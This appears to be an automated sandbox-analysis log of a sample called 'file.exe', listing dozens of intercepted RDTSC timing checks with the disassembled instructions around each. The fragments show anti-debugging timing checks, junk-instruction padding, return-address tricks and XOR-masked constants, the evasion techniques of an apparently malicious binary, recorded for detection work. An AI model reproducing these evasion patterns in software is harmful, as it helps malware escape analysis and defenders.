Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA18CA second address: EA18CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA18CE second address: EA18E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jbe 00007F3B80B67564h 0x0000000d pushad 0x0000000e je 00007F3B80B67556h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA18E4 second address: EA1930 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 nop 0x00000006 movzx esi, bx 0x00000009 push 00000000h 0x0000000b push 00000000h 0x0000000d push ecx 0x0000000e call 00007F3B813BFB88h 0x00000013 pop ecx 0x00000014 mov dword ptr [esp+04h], ecx 0x00000018 add dword ptr [esp+04h], 00000017h 0x00000020 inc ecx 0x00000021 push ecx 0x00000022 ret 0x00000023 pop ecx 0x00000024 ret 0x00000025 call 00007F3B813BFB8Ah 0x0000002a clc 0x0000002b pop ecx 0x0000002c push 4F1C6C29h 0x00000031 push eax 0x00000032 push edx 0x00000033 push edi 0x00000034 jmp 00007F3B813BFB8Dh 0x00000039 pop edi 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA1930 second address: EA19E7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3B80B67562h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [esp], 4F1C6CA9h 0x00000010 jg 00007F3B80B6755Bh 0x00000016 push 00000003h 0x00000018 push 00000000h 0x0000001a push esi 0x0000001b call 00007F3B80B67558h 0x00000020 pop esi 0x00000021 mov dword ptr [esp+04h], esi 0x00000025 add dword ptr [esp+04h], 00000016h 0x0000002d inc esi 0x0000002e push esi 0x0000002f ret 0x00000030 pop esi 0x00000031 ret 0x00000032 mov edx, 447FBF11h 0x00000037 push 00000000h 0x00000039 push 00000003h 0x0000003b jmp 00007F3B80B67561h 0x00000040 push 9B6F9A65h 0x00000045 jno 00007F3B80B6755Eh 0x0000004b xor dword ptr [esp], 5B6F9A65h 0x00000052 jp 00007F3B80B6755Ch 0x00000058 lea ebx, dword ptr [ebp+12455464h] 0x0000005e call 00007F3B80B67566h 0x00000063 mov dword ptr [ebp+122D5A65h], eax 0x00000069 pop edi 0x0000006a xchg eax, ebx 0x0000006b jo 00007F3B80B67560h 0x00000071 pushad 0x00000072 push edx 0x00000073 pop edx 0x00000074 push eax 0x00000075 push edx 0x00000076 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC0CCB second address: EC0CDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3B813BFB8Ah 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d pop esi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC0CDE second address: EC0CE2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC0CE2 second address: EC0CE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E86492 second address: E864B4 instructions: 0x00000000 rdtsc 0x00000002 je 00007F3B80B67556h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b jmp 00007F3B80B67563h 0x00000010 pop edx 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E864B4 second address: E864BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBEC90 second address: EBEC95 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBEC95 second address: EBEC9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBEE04 second address: EBEE10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F3B80B67562h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBEE10 second address: EBEE16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBF1FE second address: EBF21D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 jns 00007F3B80B6755Eh 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push esi 0x00000010 jo 00007F3B80B67556h 0x00000016 pop esi 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBF21D second address: EBF230 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F3B813BFB88h 0x00000008 pushad 0x00000009 je 00007F3B813BFB86h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBF621 second address: EBF625 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBF625 second address: EBF656 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 jo 00007F3B813BFBB4h 0x0000000d jmp 00007F3B813BFB8Ah 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F3B813BFB98h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBF656 second address: EBF65A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E95A68 second address: E95A6E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E95A6E second address: E95A75 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E95A75 second address: E95A86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 jo 00007F3B813BFBAAh 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E95A86 second address: E95A8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBFE7E second address: EBFE84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC0440 second address: EC044A instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F3B80B67556h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC044A second address: EC0468 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3B813BFB96h 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a pop edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC0468 second address: EC0484 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3B80B67568h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC0B33 second address: EC0B3D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC0B3D second address: EC0B49 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 js 00007F3B80B67556h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC0B49 second address: EC0B58 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F3B813BFB88h 0x00000008 pushad 0x00000009 push esi 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC4059 second address: EC4072 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3B80B67563h 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E81445 second address: E8145F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 ja 00007F3B813BFB92h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8145F second address: E81476 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3B80B67563h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E81476 second address: E81494 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F3B813BFB93h 0x0000000c push esi 0x0000000d pop esi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC70DD second address: EC710E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3B80B6755Bh 0x00000009 popad 0x0000000a pop ebx 0x0000000b push eax 0x0000000c pushad 0x0000000d pushad 0x0000000e jmp 00007F3B80B67567h 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC724C second address: EC7250 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC7250 second address: EC7254 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC7254 second address: EC728F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jmp 00007F3B813BFB8Fh 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 jmp 00007F3B813BFB8Fh 0x00000016 mov eax, dword ptr [eax] 0x00000018 push eax 0x00000019 push edx 0x0000001a push edi 0x0000001b jmp 00007F3B813BFB8Bh 0x00000020 pop edi 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC728F second address: EC72AD instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jne 00007F3B80B67556h 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 push eax 0x00000011 push edx 0x00000012 js 00007F3B80B6755Ch 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC73B1 second address: EC73D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 mov dword ptr [esp+04h], eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F3B813BFB94h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECC181 second address: ECC191 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 jc 00007F3B80B6755Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECC191 second address: ECC1AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3B813BFB96h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECC42D second address: ECC450 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edi 0x00000007 pop edi 0x00000008 popad 0x00000009 pushad 0x0000000a jnc 00007F3B80B67556h 0x00000010 jmp 00007F3B80B67561h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECF1D3 second address: ECF1D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECF1D7 second address: ECF1DD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECF1DD second address: ECF1E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECF1E3 second address: ECF1F6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jbe 00007F3B80B67558h 0x00000011 push esi 0x00000012 pop esi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECF1F6 second address: ECF1FB instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECF359 second address: ECF378 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3B80B67564h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECF378 second address: ECF391 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3B813BFB95h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECF391 second address: ECF39B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F3B80B67556h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECF39B second address: ECF39F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECF46A second address: ECF46E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECF46E second address: ECF477 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED01D4 second address: ED0232 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007F3B80B67563h 0x0000000d popad 0x0000000e popad 0x0000000f mov dword ptr [esp], eax 0x00000012 push 00000000h 0x00000014 push ebx 0x00000015 call 00007F3B80B67558h 0x0000001a pop ebx 0x0000001b mov dword ptr [esp+04h], ebx 0x0000001f add dword ptr [esp+04h], 00000016h 0x00000027 inc ebx 0x00000028 push ebx 0x00000029 ret 0x0000002a pop ebx 0x0000002b ret 0x0000002c or edi, dword ptr [ebp+122D29E9h] 0x00000032 push eax 0x00000033 push eax 0x00000034 push edx 0x00000035 jmp 00007F3B80B67567h 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED06D2 second address: ED06D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED06D7 second address: ED0759 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push ebp 0x0000000e call 00007F3B80B67558h 0x00000013 pop ebp 0x00000014 mov dword ptr [esp+04h], ebp 0x00000018 add dword ptr [esp+04h], 00000014h 0x00000020 inc ebp 0x00000021 push ebp 0x00000022 ret 0x00000023 pop ebp 0x00000024 ret 0x00000025 push 00000000h 0x00000027 push 00000000h 0x00000029 push esi 0x0000002a call 00007F3B80B67558h 0x0000002f pop esi 0x00000030 mov dword ptr [esp+04h], esi 0x00000034 add dword ptr [esp+04h], 0000001Bh 0x0000003c inc esi 0x0000003d push esi 0x0000003e ret 0x0000003f pop esi 0x00000040 ret 0x00000041 pushad 0x00000042 clc 0x00000043 jo 00007F3B80B67569h 0x00000049 jmp 00007F3B80B67563h 0x0000004e popad 0x0000004f push 00000000h 0x00000051 mov dword ptr [ebp+12477C87h], ecx 0x00000057 push eax 0x00000058 push eax 0x00000059 push edx 0x0000005a jmp 00007F3B80B6755Fh 0x0000005f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED1095 second address: ED10D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pushad 0x0000000a popad 0x0000000b pop edi 0x0000000c pop edx 0x0000000d nop 0x0000000e cmc 0x0000000f push 00000000h 0x00000011 adc di, 875Bh 0x00000016 push 00000000h 0x00000018 push 00000000h 0x0000001a push esi 0x0000001b call 00007F3B813BFB88h 0x00000020 pop esi 0x00000021 mov dword ptr [esp+04h], esi 0x00000025 add dword ptr [esp+04h], 00000015h 0x0000002d inc esi 0x0000002e push esi 0x0000002f ret 0x00000030 pop esi 0x00000031 ret 0x00000032 movzx esi, si 0x00000035 push eax 0x00000036 push eax 0x00000037 push edx 0x00000038 push eax 0x00000039 push edx 0x0000003a jne 00007F3B813BFB86h 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED10D8 second address: ED10DE instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED2BE2 second address: ED2BF3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3B813BFB8Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED2946 second address: ED294C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED2BF3 second address: ED2BF7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E90915 second address: E9094E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3B80B67566h 0x00000009 pop eax 0x0000000a push ecx 0x0000000b pushad 0x0000000c popad 0x0000000d jno 00007F3B80B67556h 0x00000013 pop ecx 0x00000014 jmp 00007F3B80B6755Eh 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c push edi 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9094E second address: E90969 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3B813BFB96h 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED34B1 second address: ED34BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED34BA second address: ED34BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED6409 second address: ED640E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED34BE second address: ED34CF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jo 00007F3B813BFB86h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED7EB1 second address: ED7EB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED7EB7 second address: ED7EBB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9909E second address: E990AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F3B80B6755Ah 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E990AE second address: E990B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E990B4 second address: E990BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED6C1F second address: ED6C23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDA397 second address: EDA39B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDC571 second address: EDC575 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDC575 second address: EDC58B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F3B80B6755Ch 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDC58B second address: EDC591 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDC591 second address: EDC595 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDC595 second address: EDC61A instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F3B813BFB86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push esi 0x00000010 call 00007F3B813BFB88h 0x00000015 pop esi 0x00000016 mov dword ptr [esp+04h], esi 0x0000001a add dword ptr [esp+04h], 0000001Ch 0x00000022 inc esi 0x00000023 push esi 0x00000024 ret 0x00000025 pop esi 0x00000026 ret 0x00000027 mov edi, 05B23900h 0x0000002c jmp 00007F3B813BFB98h 0x00000031 push 00000000h 0x00000033 push 00000000h 0x00000035 push edx 0x00000036 call 00007F3B813BFB88h 0x0000003b pop edx 0x0000003c mov dword ptr [esp+04h], edx 0x00000040 add dword ptr [esp+04h], 00000017h 0x00000048 inc edx 0x00000049 push edx 0x0000004a ret 0x0000004b pop edx 0x0000004c ret 0x0000004d push 00000000h 0x0000004f add di, BF19h 0x00000054 push eax 0x00000055 jp 00007F3B813BFB92h 0x0000005b je 00007F3B813BFB8Ch 0x00000061 push eax 0x00000062 push edx 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDC789 second address: EDC79B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3B80B6755Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDC79B second address: EDC79F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDD7A8 second address: EDD7AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDC79F second address: EDC816 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 mov edi, dword ptr [ebp+122D39BDh] 0x0000000f push dword ptr fs:[00000000h] 0x00000016 add edi, dword ptr [ebp+1244F7B5h] 0x0000001c mov dword ptr fs:[00000000h], esp 0x00000023 mov ebx, dword ptr [ebp+1247121Eh] 0x00000029 mov eax, dword ptr [ebp+122D0CBDh] 0x0000002f push 00000000h 0x00000031 push ecx 0x00000032 call 00007F3B813BFB88h 0x00000037 pop ecx 0x00000038 mov dword ptr [esp+04h], ecx 0x0000003c add dword ptr [esp+04h], 0000001Bh 0x00000044 inc ecx 0x00000045 push ecx 0x00000046 ret 0x00000047 pop ecx 0x00000048 ret 0x00000049 xor dword ptr [ebp+122D33F0h], edi 0x0000004f cld 0x00000050 push FFFFFFFFh 0x00000052 mov dword ptr [ebp+124714BCh], ecx 0x00000058 mov dword ptr [ebp+122D1DC2h], eax 0x0000005e nop 0x0000005f pushad 0x00000060 pushad 0x00000061 push ebx 0x00000062 pop ebx 0x00000063 pushad 0x00000064 popad 0x00000065 popad 0x00000066 push eax 0x00000067 push edx 0x00000068 jns 00007F3B813BFB86h 0x0000006e rdtsc
